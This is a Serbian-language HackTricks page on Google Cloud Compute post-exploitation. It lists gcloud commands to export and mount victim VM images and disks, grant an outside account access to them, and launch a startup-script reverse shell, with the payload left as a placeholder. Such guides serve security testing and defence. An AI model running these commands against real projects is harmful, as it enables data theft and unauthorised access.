# GCP - Compute Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Compute

Za više informacija o Compute i VPC (Mreženje) proverite:

{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}

### Izvoz i inspekcija slika lokalno

Ovo bi omogućilo napadaču da **pristupi podacima sadržanim unutar već postojećih slika** ili **kreira nove slike pokrenutih VM-ova** i pristupi njihovim podacima bez pristupa pokrenutom VM-u.

Moguće je izvesti sliku VM-a u bucket i zatim je preuzeti i montirati lokalno sa komandom:
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
Za izvođenje ove radnje, napadač može zatrebati privilegije nad skladišnim kanti i sigurno **privilegije nad cloudbuild** jer je to **usluga** koja će biti zatražena da izvrši izvoz.\
Pored toga, da bi ovo funkcionisalo, codebuild SA i compute SA trebaju privilegovane dozvole.\
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` treba:

- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser

A SA `<project-id>-compute@developer.gserviceaccount.com` treba:

- roles/compute.storageAdmin
- roles/storage.objectAdmin

### Izvoz i inspekcija snimaka i diskova lokalno

Nije moguće direktno izvesti snimke i diskove, ali je moguće **transformisati snimak u disk, disk u sliku** i prateći **prethodni odeljak**, izvesti tu sliku da bi se inspektovala lokalno.
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
### Inspekcija slike kreiranjem VM-a

Sa ciljem pristupa **podacima pohranjenim u slici** ili unutar **aktivnog VM-a** iz kojeg je napadač **napravio sliku,** moguće je omogućiti spoljnem nalogu pristup slici:
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
i zatim kreirati novu VM iz nje:
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
Ako niste mogli dati pristup svom spoljašnjem nalogu preko slike, mogli biste pokrenuti VM koristeći tu sliku u projektu žrtve i **naterati metapodatke da izvrše reverznu ljusku** za pristup slici dodajući parametar:
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
### Inspekcija snimka/Diska povezivanjem na VM

Sa ciljem pristupa **podacima pohranjenim na disku ili snimku, možete transformisati snimak u disk, disk u sliku i pratiti prethodne korake.**

Ili možete **dodeliti spoljašnjem nalogu pristup** disku (ako je početna tačka snimak, dodelite pristup snimku ili kreirajte disk iz njega):
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
**Priključite disk** na instancu:
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
Montirajte disk unutar VM-a:

1.  **SSH u VM**:

```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```

2.  **Identifikujte Disk**: Kada ste unutar VM-a, identifikujte novi disk tako što ćete nabrojati disk uređaje. Obično ga možete pronaći kao `/dev/sdb`, `/dev/sdc`, itd.
3.  **Formatirajte i Montirajte Disk** (ako je to novi ili sirovi disk):

- Kreirajte tačku montiranja:

```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```

- Montirajte disk:

```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```

Ako **ne možete dati pristup spoljnim projektima** za snimak ili disk, možda ćete morati da **izvršite ove radnje unutar instance u istom projektu kao snimak/disk**.

{{#include ../../../banners/hacktricks-training.md}}
